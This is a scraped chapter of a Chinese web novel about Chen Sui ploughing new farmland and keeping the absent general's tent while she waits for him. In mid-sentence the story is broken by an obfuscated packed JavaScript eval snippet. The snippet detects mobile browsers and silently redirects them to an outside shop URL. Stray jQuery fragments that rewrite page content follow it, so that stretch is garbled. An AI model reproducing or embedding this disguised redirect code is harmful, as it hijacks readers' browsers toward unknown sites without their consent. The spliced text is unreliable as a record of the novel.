文趣网 > 其他小说 > 霍将军,您的粮仓满了 > 27. 独守
    冬天过去了。冻土化开的那天,陈穗用铁锹在田埂上切了一小块翻起来看——土层的颜色从灰白色变成了深褐色,湿度刚好,手捏成团松开即散,可以翻了。她把铁锹插进土里,回头看了一眼身后排开的人。木棍老兵站在最前面,身后是那三十多个跟着她种了三年地的残兵,再后面是十几个新来的屯田兵。她说:“这一片,今天翻完。分三组轮流干,累了就换。”然后她弯腰,把铁锹踩进土里,翻了第一锹。

    二百亩新地,用了整整十二天才翻完。比预期的慢了两天,因为中间有两场倒春寒,土冻住了一天半。陈穗每天最早到,最晚走。她翻地的速度不算快,但她从不歇气。弯腰、踩锹、翻土、敲碎、平整,五个动作循环往复,像一台被设定好了程序的机器。有一次木棍老兵给她递水的时候说了句“你歇会儿”,她接过水囊喝了一口又还回去,接着翻下一排。他没有再劝。

    翻到第七天的时候,系统弹了一行提示:『当前屯田面积:三百亩。土壤改良度:41%。解锁新技术:绿肥轮作模式。是否应用?』陈穗直起腰擦了把汗,看着那行字点了一下确认。然后低头继续翻地。系统弹什么她都确认,更新的技术她晚上回帐里再慢慢看。白天的时间全部留给土地。

    翻完最后一块地的那天傍晚,陈穗一个人站在新翻的土地中间。二百亩新地,从她脚下一直延伸到远处的矮坡脚下,深褐色的土层被日光晒过之后泛着一层微湿的光泽,每一块土坷垃都被敲碎了,平整得像铺了一层细密的毯子。她站在那片地的正中央转了一圈,目光从地头扫到地尾,又从地尾扫回来。风从弱水河方向吹过来,掠过大片的松软土层,带起细小的尘土旋转着飘高。她把手里的铁锹拄在地上,站了一小会儿,然后转身往回走。

    走了几步停下来。又回头看了一眼那片新地,然后转回去继续走。那天晚上她坐在灯下写记录的时候写了很久。新地的面积、翻地的天数、参与的人手、消耗的铁锹和磨损的工具、绿肥轮作的播种时间表——她把每一项都记清楚了,然后搁笔坐在灯下发了一会儿呆。木盒放在枕边,盖子合着,里面还是那几片他的竹简和她写过但没送出去的麻布片。她伸手碰了一下木盒盖子的边缘,没有打开,把手收了回来,吹了灯躺下去。

    那段时间她养成了一个习惯。每天傍晚收工回来的时候路过主帐会放慢脚步。主帐的灯是灭的,帐帘垂着,偶尔被风吹开一条缝又合上。她经过的时候会下意识地看一眼——他在不在。他虽然不在那里很久了,但她经过的时候还是会看。然后她再收回目光,继续往自己帐里走。

    有一天傍晚风很大。主帐的帐帘被整面掀了起来,顶端的系绳松了,帘布拍打着帐柱发出啪啪的声响。陈穗经过的时候停了一下,走进去,把系绳重新系好。帐帘垂下来之后风就进不来了,帐内恢复了安静。她系完绳之后没有立刻走,站在帐里环顾了一圈。矮几、胡床、沙盘。沙盘上还留着他走之前最后一次看的地形图,弱水河沿线的标记还插在那里,有几根被碰歪了,大概是谁进来送军报时不小心蹭的。她走过去把那几根标记重新扶正,按照她记忆中他插的角度调整了一下。退后一步看了一会儿,觉得差不多了,然后转身往外走。走到门口的时候她停住了。矮几边缘用炭笔记了一个日期。她凑近看了看,是他出发那天的日期。炭笔的痕迹很淡了,显然记了有一阵子,但一直没被擦掉。她在矮几旁边蹲

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920794|213459||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    下来看着那行日期看了很久,然后站起来,没有碰它,掀帘出去了。

    她站在主帐外面把系绳的结又紧了紧,确认它不会被风吹开,然后转身走回自己帐里。当晚她在灯下坐了很久。她把那三片竹片从怀里掏出来放在膝盖上——最小的那片刻着饱满麦穗的,已经被她摸得边缘光滑发亮,麦芒的棱线几乎磨平了。她把那三片依次摸过去,手指从“穗”字的笔画上划过,从麦穗的轮廓上划过,从背面的小字上划过。她把它们合拢攥在手心里,攥了一会儿,然后松开放回怀里,站起来去洗了手。

    日子继续往前走。麦田在春天里一寸一寸地往上长,从嫩绿变深绿,从叶片的舒展到秆节的拔高。她去看了每一块地,从第一亩到第三百亩,从最南边的渠口到最北面的坡脚。水车每天都在转,水流日夜不停。文吏的账本又多了一卷,木棍老兵给新人教翻地的技巧,灰袍军医的地黄收了一茬。营地里的每个人都各忙各的,好像什么都没变。但主帐的灯一直没亮过。

    有一天陈穗在水车边上蹲着调试轮轴的角度时抬头看了一眼北方,那方向的天际线上空荡荡的,什么也没有。她低头继续拧手里的螺丝,拧完站起来试了一下水车的转速,满意了,然后沿着田埂往回走。走了几步,她忽然意识到自己刚才在看北方的时候心里没有“担心”两个字。她知道他会回来,这个念头像水车旁边那道插在地里的木桩一样稳。

    她走到田埂尽头回头看了一眼麦田——新翻的二百亩地和原来的三百亩正在一起从嫩绿走向深绿,整片地铺到山脚,在春风里缓缓涌动。她看了一会儿转回身继续往营里走。主帐的帐帘安安静静地垂着,系绳是她系的那个结,它一直没松。